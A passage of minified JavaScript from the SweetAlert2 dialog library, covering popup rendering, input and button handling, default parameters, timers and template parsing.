"').concat(t(n.customClass[i]),'"'));rt(e,n.customClass[i])}};function tt(t,e){if(!e)return null;switch(e){case"select":case"textarea":case"file":return at(t,D[e]);case"checkbox":return t.querySelector(".".concat(D.checkbox," input"));case"radio":return t.querySelector(".".concat(D.radio," input:checked"))||t.querySelector(".".concat(D.radio," input:first-child"));case"range":return t.querySelector(".".concat(D.range," input"));default:return at(t,D.input)}}var et,nt=function(t){if(t.focus(),"file"!==t.type){var e=t.value;t.value="",t.value=e}},it=function(t,e,n){t&&e&&("string"==typeof e&&(e=e.split(/\s+/).filter(Boolean)),e.forEach((function(e){t.forEach?t.forEach((function(t){n?t.classList.add(e):t.classList.remove(e)})):n?t.classList.add(e):t.classList.remove(e)})))},rt=function(t,e){it(t,e,!0)},ot=function(t,e){it(t,e,!1)},at=function(t,e){for(var n=0;n<t.childNodes.length;n++)if(Q(t.childNodes[n],e))return t.childNodes[n]},st=function(t,e,n){n==="".concat(parseInt(n))&&(n=parseInt(n)),n||0===parseInt(n)?t.style[e]="number"==typeof n?"".concat(n,"px"):n:t.style.removeProperty(e)},lt=function(t){var e=arguments.length>1&&void 0!==arguments[1]?arguments[1]:"flex";t.style.display=e},ct=function(t){t.style.display="none"},ut=function(t,e,n,i){var r=t.querySelector(e);r&&(r.style[n]=i)},dt=function(t,e,n){e?lt(t,n):ct(t)},ft=function(t){return!(!t||!(t.offsetWidth||t.offsetHeight||t.getClientRects().length))},ht=function(t){return!!(t.scrollHeight>t.clientHeight)},pt=function(t){var e=window.getComputedStyle(t),n=parseFloat(e.getPropertyValue("animation-duration")||"0"),i=parseFloat(e.getPropertyValue("transition-duration")||"0");return n>0||i>0},mt=function(t){var e=arguments.length>1&&void 0!==arguments[1]&&arguments[1],n=q();ft(n)&&(e&&(n.style.transition="none",n.style.width="100%"),setTimeout((function(){n.style.transition="width ".concat(t/1e3,"s linear"),n.style.width="0%"}),10))},gt=function(){return"undefined"==typeof window||"undefined"==typeof document},yt='\n <div aria-labelledby="'.concat(D.title,'" aria-describedby="').concat(D.content,'" class="').concat(D.popup,'" tabindex="-1">\n   <div class="').concat(D.header,'">\n     <ul class="').concat(D["progress-steps"],'"></ul>\n     <div class="').concat(D.icon,'"></div>\n     <img class="').concat(D.image,'" />\n     <h2 class="').concat(D.title,'" id="').concat(D.title,'"></h2>\n     <button type="button" class="').concat(D.close,'"></button>\n   </div>\n   <div class="').concat(D.content,'">\n     <div id="').concat(D.content,'" class="').concat(D["html-container"],'"></div>\n     <input class="').concat(D.input,'" />\n     <input type="file" class="').concat(D.file,'" />\n     <div class="').concat(D.range,'">\n       <input type="range" />\n       <output></output>\n     </div>\n     <select class="').concat(D.select,'"></select>\n     <div class="').concat(D.radio,'"></div>\n     <label for="').concat(D.checkbox,'" class="').concat(D.checkbox,'">\n       <input type="checkbox" />\n       <span class="').concat(D.label,'"></span>\n     </label>\n     <textarea class="').concat(D.textarea,'"></textarea>\n     <div class="').concat(D["validation-message"],'" id="').concat(D["validation-message"],'"></div>\n   </div>\n   <div class="').concat(D.actions,'">\n     <div class="').concat(D.loader,'"></div>\n     <button type="button" class="').concat(D.confirm,'"></button>\n     <button type="button" class="').concat(D.deny,'"></button>\n     <button type="button" class="').concat(D.cancel,'"></button>\n   </div>\n   <div class="').concat(D.footer,'"></div>\n   <div class="').concat(D["timer-progress-bar-container"],'">\n     <div class="').concat(D["timer-progress-bar"],'"></div>\n   </div>\n </div>\n').replace(/(^|\n)\s*/g,""),vt=function(t){$n.isVisible()&&et!==t.target.value&&$n.resetValidationMessage(),et=t.target.value},bt=function(t){var e,n=!!(e=T())&&(e.parentNode.removeChild(e),ot([document.documentElement,document.body],[D["no-backdrop"],D["toast-shown"],D["has-column"]]),!0);if(gt())m("SweetAlert2 requires document to initialize");else{var i=document.createElement("div");i.className=D.container,n&&rt(i,D["no-transition"]),Z(i,yt);var r,o,a,s,l,c,u,d,f,h="string"==typeof(r=t.target)?document.querySelector(r):r;h.appendChild(i),function(t){var e=O();e.setAttribute("role",t.toast?"alert":"dialog"),e.setAttribute("aria-live",t.toast?"polite":"assertive"),t.toast||e.setAttribute("aria-modal","true")}(t),function(t){"rtl"===window.getComputedStyle(t).direction&&rt(T(),D.rtl)}(h),o=A(),a=at(o,D.input),s=at(o,D.file),l=o.querySelector(".".concat(D.range," input")),c=o.querySelector(".".concat(D.range," output")),u=at(o,D.select),d=o.querySelector(".".concat(D.checkbox," input")),f=at(o,D.textarea),a.oninput=vt,s.onchange=vt,u.onchange=vt,d.onchange=vt,f.oninput=vt,l.oninput=function(t){vt(t),c.value=l.value},l.onchange=function(t){vt(t),l.nextSibling.value=l.value}}},wt=function(e,n){e instanceof HTMLElement?n.appendChild(e):"object"===t(e)?_t(e,n):e&&Z(n,e)},_t=function(t,e){t.jquery?kt(e,t):Z(e,t.toString())},kt=function(t,e){if(t.textContent="",0 in e)for(var n=0;n in e;n++)t.appendChild(e[n].cloneNode(!0));else t.appendChild(e.cloneNode(!0))},xt=function(){if(gt())return!1;var t=document.createElement("div"),e={WebkitAnimation:"webkitAnimationEnd",OAnimation:"oAnimationEnd oanimationend",animation:"animationend"};for(var n in e)if(Object.prototype.hasOwnProperty.call(e,n)&&void 0!==t.style[n])return e[n];return!1}(),St=function(t,e){var n=N(),i=B(),r=$(),o=H(),a=z();e.showConfirmButton||e.showDenyButton||e.showCancelButton||ct(n),X(n,e,"actions"),Dt(r,"confirm",e),Dt(o,"deny",e),Dt(a,"cancel",e),function(t,e,n,i){if(!i.buttonsStyling)return ot([t,e,n],D.styled);rt([t,e,n],D.styled),i.confirmButtonColor&&(t.style.backgroundColor=i.confirmButtonColor),i.denyButtonColor&&(e.style.backgroundColor=i.denyButtonColor),i.cancelButtonColor&&(n.style.backgroundColor=i.cancelButtonColor)}(r,o,a,e),e.reverseButtons&&(n.insertBefore(a,i),n.insertBefore(o,i),n.insertBefore(r,i)),Z(i,e.loaderHtml),X(i,e,"loader")};function Dt(t,e,n){dt(t,n["show".concat(d(e),"Button")],"inline-block"),Z(t,n["".concat(e,"ButtonText")]),t.setAttribute("aria-label",n["".concat(e,"ButtonAriaLabel")]),t.className=D[e],X(t,n,"".concat(e,"Button")),rt(t,n["".concat(e,"ButtonClass")])}var Mt=function(t,e){var n=T();if(n){!function(t,e){"string"==typeof e?t.style.background=e:e||rt([document.documentElement,document.body],D["no-backdrop"])}(n,e.backdrop),!e.backdrop&&e.allowOutsideClick&&p('"allowOutsideClick" parameter requires `backdrop` parameter to be set to `true`'),function(t,e){e in D?rt(t,D[e]):(p('The "position" parameter is not valid, defaulting to "center"'),rt(t,D.center))}(n,e.position),function(t,e){if(e&&"string"==typeof e){var n="grow-".concat(e);n in D&&rt(t,D[n])}}(n,e.grow),X(n,e,"container");var i=document.body.getAttribute("data-swal2-queue-step");i&&(n.setAttribute("data-queue-step",i),document.body.removeAttribute("data-swal2-queue-step"))}},Tt={promise:new WeakMap,innerParams:new WeakMap,domCache:new WeakMap},Ct=["input","file","range","select","radio","checkbox","textarea"],Lt=function(t){if(!jt[t.input])return m('Unexpected type of input! Expected "text", "email", "password", "number", "tel", "select", "radio", "checkbox", "textarea", "file" or "url", got "'.concat(t.input,'"'));var e=Yt(t.input),n=jt[t.input](e,t);lt(n),setTimeout((function(){nt(n)}))},Ot=function(t,e){var n=tt(A(),t);if(n)for(var i in function(t){for(var e=0;e<t.attributes.length;e++){var n=t.attributes[e].name;-1===["type","value","style"].indexOf(n)&&t.removeAttribute(n)}}(n),e)"range"===t&&"placeholder"===i||n.setAttribute(i,e[i])},Et=function(t){var e=Yt(t.input);t.customClass&&rt(e,t.customClass.input)},Pt=function(t,e){t.placeholder&&!e.inputPlaceholder||(t.placeholder=e.inputPlaceholder)},At=function(t,e,n){if(n.inputLabel){t.id=D.input;var i=document.createElement("label"),r=D["input-label"];i.setAttribute("for",t.id),i.className=r,rt(i,n.customClass.inputLabel),i.innerText=n.inputLabel,e.insertAdjacentElement("beforebegin",i)}},Yt=function(t){var e=D[t]?D[t]:D.input;return at(A(),e)},jt={};jt.text=jt.email=jt.password=jt.number=jt.tel=jt.url=function(e,n){return"string"==typeof n.inputValue||"number"==typeof n.inputValue?e.value=n.inputValue:_(n.inputValue)||p('Unexpected type of inputValue! Expected "string", "number" or "Promise", got "'.concat(t(n.inputValue),'"')),At(e,e,n),Pt(e,n),e.type=n.input,e},jt.file=function(t,e){return At(t,t,e),Pt(t,e),t},jt.range=function(t,e){var n=t.querySelector("input"),i=t.querySelector("output");return n.value=e.inputValue,n.type=e.input,i.value=e.inputValue,At(n,t,e),t},jt.select=function(t,e){if(t.textContent="",e.inputPlaceholder){var n=document.createElement("option");Z(n,e.inputPlaceholder),n.value="",n.disabled=!0,n.selected=!0,t.appendChild(n)}return At(t,t,e),t},jt.radio=function(t){return t.textContent="",t},jt.checkbox=function(t,e){var n=tt(A(),"checkbox");n.value=1,n.id=D.checkbox,n.checked=Boolean(e.inputValue);var i=t.querySelector("span");return Z(i,e.inputPlaceholder),t},jt.textarea=function(t,e){t.value=e.inputValue,Pt(t,e),At(t,t,e);var n=function(t){return parseInt(window.getComputedStyle(t).paddingLeft)+parseInt(window.getComputedStyle(t).paddingRight)};if("MutationObserver"in window){var i=parseInt(window.getComputedStyle(O()).width);new MutationObserver((function(){var e=t.offsetWidth+n(O())+n(A());O().style.width=e>i?"".concat(e,"px"):null})).observe(t,{attributes:!0,attributeFilter:["style"]})}return t};var Rt=function(t,e){var n=Y();X(n,e,"htmlContainer"),e.html?(wt(e.html,n),lt(n,"block")):e.text?(n.textContent=e.text,lt(n,"block")):ct(n),function(t,e){var n=A(),i=Tt.innerParams.get(t),r=!i||e.input!==i.input;Ct.forEach((function(t){var i=D[t],o=at(n,i);Ot(t,e.inputAttributes),o.className=i,r&&ct(o)})),e.input&&(r&&Lt(e),Et(e))}(t,e),X(A(),e,"content")},It=function(t,e){for(var n in M)e.icon!==n&&ot(t,M[n]);rt(t,M[e.icon]),Bt(t,e),$t(),X(t,e,"icon")},$t=function(){for(var t=O(),e=window.getComputedStyle(t).getPropertyValue("background-color"),n=t.querySelectorAll("[class^=swal2-success-circular-line], .swal2-success-fix"),i=0;i<n.length;i++)n[i].style.backgroundColor=e},Ht=function(t,e){t.textContent="",e.iconHtml?Z(t,zt(e.iconHtml)):"success"===e.icon?Z(t,'\n      <div class="swal2-success-circular-line-left"></div>\n      <span class="swal2-success-line-tip"></span> <span class="swal2-success-line-long"></span>\n      <div class="swal2-success-ring"></div> <div class="swal2-success-fix"></div>\n      <div class="swal2-success-circular-line-right"></div>\n    '):"error"===e.icon?Z(t,'\n      <span class="swal2-x-mark">\n        <span class="swal2-x-mark-line-left"></span>\n        <span class="swal2-x-mark-line-right"></span>\n      </span>\n    '):Z(t,zt({question:"?",warning:"!",info:"i"}[e.icon]))},Bt=function(t,e){if(e.iconColor){t.style.color=e.iconColor,t.style.borderColor=e.iconColor;for(var n=0,i=[".swal2-success-line-tip",".swal2-success-line-long",".swal2-x-mark-line-left",".swal2-x-mark-line-right"];n<i.length;n++)ut(t,i[n],"backgroundColor",e.iconColor);ut(t,".swal2-success-ring","borderColor",e.iconColor)}},zt=function(t){return'<div class="'.concat(D["icon-content"],'">').concat(t,"</div>")},Nt=[],Wt=function(){return T()&&T().getAttribute("data-queue-step")},Ut=function(t,e){var n=R();if(!e.progressSteps||0===e.progressSteps.length)return ct(n);lt(n),n.textContent="";var i=parseInt(void 0===e.currentProgressStep?Wt():e.currentProgressStep);i>=e.progressSteps.length&&p("Invalid currentProgressStep parameter, it should be less than progressSteps.length (currentProgressStep like JS arrays starts from 0)"),e.progressSteps.forEach((function(t,r){var o=function(t){var e=document.createElement("li");return rt(e,D["progress-step"]),Z(e,t),e}(t);if(n.appendChild(o),r===i&&rt(o,D["active-progress-step"]),r!==e.progressSteps.length-1){var a=function(t){var e=document.createElement("li");return rt(e,D["progress-step-line"]),t.progressStepsDistance&&(e.style.width=t.progressStepsDistance),e}(e);n.appendChild(a)}}))},qt=function(t,e){var n=W();X(n,e,"header"),Ut(0,e),function(t,e){var n=Tt.innerParams.get(t),i=E();n&&e.icon===n.icon?(Ht(i,e),It(i,e)):e.icon||e.iconHtml?e.icon&&-1===Object.keys(M).indexOf(e.icon)?(m('Unknown icon! Expected "success", "error", "warning", "info" or "question", got "'.concat(e.icon,'"')),ct(i)):(lt(i),Ht(i,e),It(i,e),rt(i,e.showClass.icon)):ct(i)}(t,e),function(t,e){var n=j();if(!e.imageUrl)return ct(n);lt(n,""),n.setAttribute("src",e.imageUrl),n.setAttribute("alt",e.imageAlt),st(n,"width",e.imageWidth),st(n,"height",e.imageHeight),n.className=D.image,X(n,e,"image")}(0,e),function(t,e){var n=P();dt(n,e.title||e.titleText,"block"),e.title&&wt(e.title,n),e.titleText&&(n.innerText=e.titleText),X(n,e,"title")}(0,e),function(t,e){var n=F();Z(n,e.closeButtonHtml),X(n,e,"closeButton"),dt(n,e.showCloseButton),n.setAttribute("aria-label",e.closeButtonAriaLabel)}(0,e)},Ft=function(t,e){t.className="".concat(D.popup," ").concat(ft(t)?e.showClass.popup:""),e.toast?(rt([document.documentElement,document.body],D["toast-shown"]),rt(t,D.toast)):rt(t,D.modal),X(t,e,"popup"),"string"==typeof e.customClass&&rt(t,e.customClass),e.icon&&rt(t,D["icon-".concat(e.icon)])},Vt=function(t,e){!function(t,e){var n=T(),i=O();e.toast?(st(n,"width",e.width),i.style.width="100%"):st(i,"width",e.width),st(i,"padding",e.padding),e.background&&(i.style.background=e.background),ct(I()),Ft(i,e)}(0,e),Mt(0,e),qt(t,e),Rt(t,e),St(0,e),function(t,e){var n=U();dt(n,e.footer),e.footer&&wt(e.footer,n),X(n,e,"footer")}(0,e),"function"==typeof e.didRender?e.didRender(O()):"function"==typeof e.onRender&&e.onRender(O())},Kt=function(){return $()&&$().click()},Gt=function(t){var e=O();e||$n.fire(),e=O();var n=N(),i=B();!t&&ft($())&&(t=$()),lt(n),t&&(ct(t),i.setAttribute("data-button-to-replace",t.className)),i.parentNode.insertBefore(i,t),rt([e,n],D.loading),lt(i),e.setAttribute("data-loading",!0),e.setAttribute("aria-busy",!0),e.focus()},Jt={},Zt=function(t){return new Promise((function(e){if(!t)return e();var n=window.scrollX,i=window.scrollY;Jt.restoreFocusTimeout=setTimeout((function(){Jt.previousActiveElement&&Jt.previousActiveElement.focus?(Jt.previousActiveElement.focus(),Jt.previousActiveElement=null):document.body&&document.body.focus(),e()}),100),void 0!==n&&void 0!==i&&window.scrollTo(n,i)}))},Qt=function(){if(Jt.timeout)return function(){var t=q(),e=parseInt(window.getComputedStyle(t).width);t.style.removeProperty("transition"),t.style.width="100%";var n=parseInt(window.getComputedStyle(t).width),i=parseInt(e/n*100);t.style.removeProperty("transition"),t.style.width="".concat(i,"%")}(),Jt.timeout.stop()},Xt=function(){if(Jt.timeout){var t=Jt.timeout.start();return mt(t),t}},te=!1,ee={},ne=function(t){for(var e=t.target;e&&e!==document;e=e.parentNode)for(var n in ee){var i=e.getAttribute(n);if(i)return void ee[n].fire({template:i})}},ie={title:"",titleText:"",text:"",html:"",footer:"",icon:void 0,iconColor:void 0,iconHtml:void 0,template:void 0,toast:!1,animation:!0,showClass:{popup:"swal2-show",backdrop:"swal2-backdrop-show",icon:"swal2-icon-show"},hideClass:{popup:"swal2-hide",backdrop:"swal2-backdrop-hide",icon:"swal2-icon-hide"},customClass:{},target:"body",backdrop:!0,heightAuto:!0,allowOutsideClick:!0,allowEscapeKey:!0,allowEnterKey:!0,stopKeydownPropagation:!0,keydownListenerCapture:!1,showConfirmButton:!0,showDenyButton:!1,showCancelButton:!1,preConfirm:void 0,preDeny:void 0,confirmButtonText:"OK",confirmButtonAriaLabel:"",confirmButtonColor:void 0,denyButtonText:"No",denyButtonAriaLabel:"",denyButtonColor:void 0,cancelButtonText:"Cancel",cancelButtonAriaLabel:"",cancelButtonColor:void 0,buttonsStyling:!0,reverseButtons:!1,focusConfirm:!0,focusDeny:!1,focusCancel:!1,returnFocus:!0,showCloseButton:!1,closeButtonHtml:"&times;",closeButtonAriaLabel:"Close this dialog",loaderHtml:"",showLoaderOnConfirm:!1,showLoaderOnDeny:!1,imageUrl:void 0,imageWidth:void 0,imageHeight:void 0,imageAlt:"",timer:void 0,timerProgressBar:!1,width:void 0,padding:void 0,background:void 0,input:void 0,inputPlaceholder:"",inputLabel:"",inputValue:"",inputOptions:{},inputAutoTrim:!0,inputAttributes:{},inputValidator:void 0,returnInputValueOnDeny:!1,validationMessage:void 0,grow:!1,position:"center",progressSteps:[],currentProgressStep:void 0,progressStepsDistance:void 0,onBeforeOpen:void 0,onOpen:void 0,willOpen:void 0,didOpen:void 0,onRender:void 0,didRender:void 0,onClose:void 0,onAfterClose:void 0,willClose:void 0,didClose:void 0,onDestroy:void 0,didDestroy:void 0,scrollbarPadding:!0},re=["allowEscapeKey","allowOutsideClick","background","buttonsStyling","cancelButtonAriaLabel","cancelButtonColor","cancelButtonText","closeButtonAriaLabel","closeButtonHtml","confirmButtonAriaLabel","confirmButtonColor","confirmButtonText","currentProgressStep","customClass","denyButtonAriaLabel","denyButtonColor","denyButtonText","didClose","didDestroy","footer","hideClass","html","icon","iconColor","iconHtml","imageAlt","imageHeight","imageUrl","imageWidth","onAfterClose","onClose","onDestroy","progressSteps","returnFocus","reverseButtons","showCancelButton","showCloseButton","showConfirmButton","showDenyButton","text","title","titleText","willClose"],oe={animation:'showClass" and "hideClass',onBeforeOpen:"willOpen",onOpen:"didOpen",onRender:"didRender",onClose:"willClose",onAfterClose:"didClose",onDestroy:"didDestroy"},ae=["allowOutsideClick","allowEnterKey","backdrop","focusConfirm","focusDeny","focusCancel","returnFocus","heightAuto","keydownListenerCapture"],se=function(t){return Object.prototype.hasOwnProperty.call(ie,t)},le=function(t){return oe[t]},ce=function(t){se(t)||p('Unknown parameter "'.concat(t,'"'))},ue=function(t){-1!==ae.indexOf(t)&&p('The parameter "'.concat(t,'" is incompatible with toasts'))},de=function(t){le(t)&&y(t,le(t))},fe=function(t){for(var e in t)ce(e),t.toast&&ue(e),de(e)},he=Object.freeze({isValidParameter:se,isUpdatableParameter:function(t){return-1!==re.indexOf(t)},isDeprecatedParameter:le,argsToParams:function(e){var n={};return"object"!==t(e[0])||x(e[0])?["title","html","icon"].forEach((function(i,r){var o=e[r];"string"==typeof o||x(o)?n[i]=o:void 0!==o&&m("Unexpected type of ".concat(i,'! Expected "string" or "Element", got ').concat(t(o)))})):r(n,e[0]),n},isVisible:function(){return ft(O())},clickConfirm:Kt,clickDeny:function(){return H()&&H().click()},clickCancel:function(){return z()&&z().click()},getContainer:T,getPopup:O,getTitle:P,getContent:A,getHtmlContainer:Y,getImage:j,getIcon:E,getInputLabel:function(){return L(D["input-label"])},getCloseButton:F,getActions:N,getConfirmButton:$,getDenyButton:H,getCancelButton:z,getLoader:B,getHeader:W,getFooter:U,getTimerProgressBar:q,getFocusableElements:V,getValidationMessage:I,isLoading:function(){return O().hasAttribute("data-loading")},fire:function(){for(var t=this,e=arguments.length,n=new Array(e),i=0;i<e;i++)n[i]=arguments[i];return l(t,n)},mixin:function(t){return function(n){!function(t,e){if("function"!=typeof e&&null!==e)throw new TypeError("Super expression must either be null or a function");t.prototype=Object.create(e&&e.prototype,{constructor:{value:t,writable:!0,configurable:!0}}),e&&a(t,e)}(h,n);var l,d,f=(l=h,d=s(),function(){var t,e=o(l);if(d){var n=o(this).constructor;t=Reflect.construct(e,arguments,n)}else t=e.apply(this,arguments);return c(this,t)});function h(){return e(this,h),f.apply(this,arguments)}return i(h,[{key:"_main",value:function(e,n){return u(o(h.prototype),"_main",this).call(this,e,r({},t,n))}}]),h}(this)},queue:function(t){var e=this;Nt=t;var n=function(t,e){Nt=[],t(e)},i=[];return new Promise((function(t){!function r(o,a){o<Nt.length?(document.body.setAttribute("data-swal2-queue-step",o),e.fire(Nt[o]).then((function(e){void 0!==e.value?(i.push(e.value),r(o+1,a)):n(t,{dismiss:e.dismiss})}))):n(t,{value:i})}(0)}))},getQueueStep:Wt,insertQueueStep:function(t,e){return e&&e<Nt.length?Nt.splice(e,0,t):Nt.push(t)},deleteQueueStep:function(t){void 0!==Nt[t]&&Nt.splice(t,1)},showLoading:Gt,enableLoading:Gt,getTimerLeft:function(){return Jt.timeout&&Jt.timeout.getTimerLeft()},stopTimer:Qt,resumeTimer:Xt,toggleTimer:function(){var t=Jt.timeout;return t&&(t.running?Qt():Xt())},increaseTimer:function(t){if(Jt.timeout){var e=Jt.timeout.increase(t);return mt(e,!0),e}},isTimerRunning:function(){return Jt.timeout&&Jt.timeout.isRunning()},bindClickHandler:function(){var t=arguments.length>0&&void 0!==arguments[0]?arguments[0]:"data-swal-template";ee[t]=this,te||(document.body.addEventListener("click",ne),te=!0)}});function pe(){if(Tt.innerParams.get(this)){var t=Tt.domCache.get(this);ct(t.loader);var e=t.popup.getElementsByClassName(t.loader.getAttribute("data-button-to-replace"));e.length?lt(e[0],"inline-block"):ft($())||ft(H())||ft(z())||ct(t.actions),ot([t.popup,t.actions],D.loading),t.popup.removeAttribute("aria-busy"),t.popup.removeAttribute("data-loading"),t.confirmButton.disabled=!1,t.denyButton.disabled=!1,t.cancelButton.disabled=!1}}var me=function(){null===J.previousBodyPadding&&document.body.scrollHeight>window.innerHeight&&(J.previousBodyPadding=parseInt(window.getComputedStyle(document.body).getPropertyValue("padding-right")),document.body.style.paddingRight="".concat(J.previousBodyPadding+function(){var t=document.createElement("div");t.className=D["scrollbar-measure"],document.body.appendChild(t);var e=t.getBoundingClientRect().width-t.clientWidth;return document.body.removeChild(t),e}(),"px"))},ge=function(){navigator.userAgent.match(/(CriOS|FxiOS|EdgiOS|YaBrowser|UCBrowser)/i)||O().scrollHeight>window.innerHeight-44&&(T().style.paddingBottom="".concat(44,"px"))},ye=function(){var t,e=T();e.ontouchstart=function(e){t=ve(e)},e.ontouchmove=function(e){t&&(e.preventDefault(),e.stopPropagation())}},ve=function(t){var e=t.target,n=T();return!(be(t)||we(t)||e!==n&&(ht(n)||"INPUT"===e.tagName||ht(A())&&A().contains(e)))},be=function(t){return t.touches&&t.touches.length&&"stylus"===t.touches[0].touchType},we=function(t){return t.touches&&t.touches.length>1},_e=function(){return!!window.MSInputMethodContext&&!!document.documentMode},ke=function(){var t=T(),e=O();t.style.removeProperty("align-items"),e.offsetTop<0&&(t.style.alignItems="flex-start")},xe={swalPromiseResolve:new WeakMap};function Se(t,e,n,i){G()?Oe(t,i):(Zt(n).then((function(){return Oe(t,i)})),Jt.keydownTarget.removeEventListener("keydown",Jt.keydownHandler,{capture:Jt.keydownListenerCapture}),Jt.keydownHandlerAdded=!1),e.parentNode&&!document.body.getAttribute("data-swal2-queue-step")&&e.parentNode.removeChild(e),K()&&(null!==J.previousBodyPadding&&(document.body.style.paddingRight="".concat(J.previousBodyPadding,"px"),J.previousBodyPadding=null),function(){if(Q(document.body,D.iosfix)){var t=parseInt(document.body.style.top,10);ot(document.body,D.iosfix),document.body.style.top="",document.body.scrollTop=-1*t}}(),"undefined"!=typeof window&&_e()&&window.removeEventListener("resize",ke),h(document.body.children).forEach((function(t){t.hasAttribute("data-previous-aria-hidden")?(t.setAttribute("aria-hidden",t.getAttribute("data-previous-aria-hidden")),t.removeAttribute("data-previous-aria-hidden")):t.removeAttribute("aria-hidden")}))),ot([document.documentElement,document.body],[D.shown,D["height-auto"],D["no-backdrop"],D["toast-shown"]])}function De(t){var e=O();if(e){t=Me(t);var n=Tt.innerParams.get(this);if(n&&!Q(e,n.hideClass.popup)){var i=xe.swalPromiseResolve.get(this);ot(e,n.showClass.popup),rt(e,n.hideClass.popup);var r=T();ot(r,n.showClass.backdrop),rt(r,n.hideClass.backdrop),Te(this,e,n),i(t)}}}var Me=function(t){return void 0===t?{isConfirmed:!1,isDenied:!1,isDismissed:!0}:r({isConfirmed:!1,isDenied:!1,isDismissed:!1},t)},Te=function(t,e,n){var i=T(),r=xt&&pt(e),o=n.onClose,a=n.onAfterClose,s=n.willClose,l=n.didClose;Ce(e,s,o),r?Le(t,e,i,n.returnFocus,l||a):Se(t,i,n.returnFocus,l||a)},Ce=function(t,e,n){null!==e&&"function"==typeof e?e(t):null!==n&&"function"==typeof n&&n(t)},Le=function(t,e,n,i,r){Jt.swalCloseEventFinishedCallback=Se.bind(null,t,n,i,r),e.addEventListener(xt,(function(t){t.target===e&&(Jt.swalCloseEventFinishedCallback(),delete Jt.swalCloseEventFinishedCallback)}))},Oe=function(t,e){setTimeout((function(){"function"==typeof e&&e(),t._destroy()}))};function Ee(t,e,n){var i=Tt.domCache.get(t);e.forEach((function(t){i[t].disabled=n}))}function Pe(t,e){if(!t)return!1;if("radio"===t.type)for(var n=t.parentNode.parentNode.querySelectorAll("input"),i=0;i<n.length;i++)n[i].disabled=e;else t.disabled=e}var Ae=function(){function t(n,i){e(this,t),this.callback=n,this.remaining=i,this.running=!1,this.start()}return i(t,[{key:"start",value:function(){return this.running||(this.running=!0,this.started=new Date,this.id=setTimeout(this.callback,this.remaining)),this.remaining}},{key:"stop",value:function(){return this.running&&(this.running=!1,clearTimeout(this.id),this.remaining-=new Date-this.started),this.remaining}},{key:"increase",value:function(t){var e=this.running;return e&&this.stop(),this.remaining+=t,e&&this.start(),this.remaining}},{key:"getTimerLeft",value:function(){return this.running&&(this.stop(),this.start()),this.remaining}},{key:"isRunning",value:function(){return this.running}}]),t}(),Ye={email:function(t,e){return/^[a-zA-Z0-9.+_-]+@[a-zA-Z0-9.-]+\.[a-zA-Z0-9-]{2,24}$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid email address")},url:function(t,e){return/^https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-z]{2,63}\b([-a-zA-Z0-9@:%_+.~#?&/=]*)$/.test(t)?Promise.resolve():Promise.resolve(e||"Invalid URL")}};function je(t){!function(t){t.inputValidator||Object.keys(Ye).forEach((function(e){t.input===e&&(t.inputValidator=Ye[e])}))}(t),t.showLoaderOnConfirm&&!t.preConfirm&&p("showLoaderOnConfirm is set to true, but preConfirm is not defined.\nshowLoaderOnConfirm should be used together with preConfirm, see usage example:\nhttps://sweetalert2.github.io/#ajax-request"),t.animation=v(t.animation),function(t){(!t.target||"string"==typeof t.target&&!document.querySelector(t.target)||"string"!=typeof t.target&&!t.target.appendChild)&&(p('Target parameter is not valid, defaulting to "body"'),t.target="body")}(t),"string"==typeof t.title&&(t.title=t.title.split("\n").join("<br />")),bt(t)}var Re,Ie=["swal-title","swal-html","swal-footer"],$e=function(e){var n={};return h(e.querySelectorAll("swal-param")).forEach((function(e){qe(e,["name","value"]);var i=e.getAttribute("name"),r=e.getAttribute("value");"boolean"==typeof ie[i]&&"false"===r&&(r=!1),"object"===t(ie[i])&&(r=JSON.parse(r)),n[i]=r})),n},He=function(t){var e={};return h(t.querySelectorAll("swal-button")).forEach((function(t){qe(t,["type","color","aria-label"]);var n=t.getAttribute("type");e["".concat(n,"ButtonText")]=t.innerHTML,e["show".concat(d(n),"Button")]=!0,t.hasAttribute("color")&&(e["".concat(n,"ButtonColor")]=t.getAttribute("color")),t.hasAttribute("aria-label")&&(e["".concat(n,"ButtonAriaLabel")]=t.getAttribute("aria-label"))})),e},Be=function(t){var e={},n=t.querySelector("swal-image");return n&&(qe(n,["src","width","height","alt"]),n.hasAttribute("src")&&(e.imageUrl=n.getAttribute("src")),n.hasAttribute("width")&&(e.imageWidth=n.getAttribute("width")),n.hasAttribute("height")&&(e.imageHeight=n.getAttribute("height")),n.hasAttribute("alt")&&(e.imageAlt=n.getAttribute("alt"))),e},ze=function(t){var e={},n=t.querySelector("swal-icon");return n&&(qe(n,["type","color"]),n.hasAttribute("type")&&(e.icon=n.getAttribute("type")),n.hasAttribute("color")&&(e.iconColor=n.getAttribute("color")),e.iconHtml=n.innerHTML),e},Ne=function(t){var e={},n=t.querySelector("swal-input");n&&(qe(n,["type","label","placeholder","value"]),e.input=n.getAttribute("type")||"text",n.hasAttribute("label")&&(e.inputLabel=n.getAttribute("label")),n.hasAttribute("placeholder")&&(e.inputPlaceholder=n.getAttribute("placeholder")),n.hasAttribute("value")&&(e.inputValue=n.getAttribute("value")));var i=t.querySelectorAll("swal-input-option");return i.length&&(e.inputOptions={},h(i).forEach((function(t){qe(t,["value"]);var n=t.getAttribute("value"),i=t.innerHTML;e.inputOptions[n]=i}))),e},We=function(t,e){var n={};for(var i in e){var r=e[i],o=t.querySelector(r);o&&(qe(o,[]),n[r.replace(/^swal-/,"")]=o.innerHTML.trim())}return n},Ue=function(t){var e=Ie.concat(["swal-param","swal-button","swal-image","swal-icon","swal-input","swal-input-option"]);h(t.querySelectorAll("*")).forEach((function(n){if(n.parentNode===t){var i=n.tagName.toLowerCase();-1===e.indexOf(i)&&p("Unrecognized element <".concat(i,">"))}}))},qe=function(t,e){h(t.attributes).forEach((function(n){-1===e.indexOf(n.name)&&p(['Unrecognized attribute "'.concat(n.name,'" on <').concat(t.tagName.toLowerCase(),">."),"".concat(e.length?"Allowed attributes are: ".concat(e.join(", ")):"To set the value, use HTML within the element.")])}))},Fe=function(t){var e=T(),n=O();"function"==typeof t.willOpen?t.willOpen(n):"function"==typeof t.onBeforeOpen&&t.onBeforeOpen(n);var i=window.getComputedStyle(document.body).overflowY;Ze(e,n,t),setTimeout((function(){Ge(e,n)}),10),K()&&(Je(e,t.scrollbarPadding,i),h(document.body.children).forEach((function(t){t===T()||function(t,e){if("function"==typeof t.contains)return 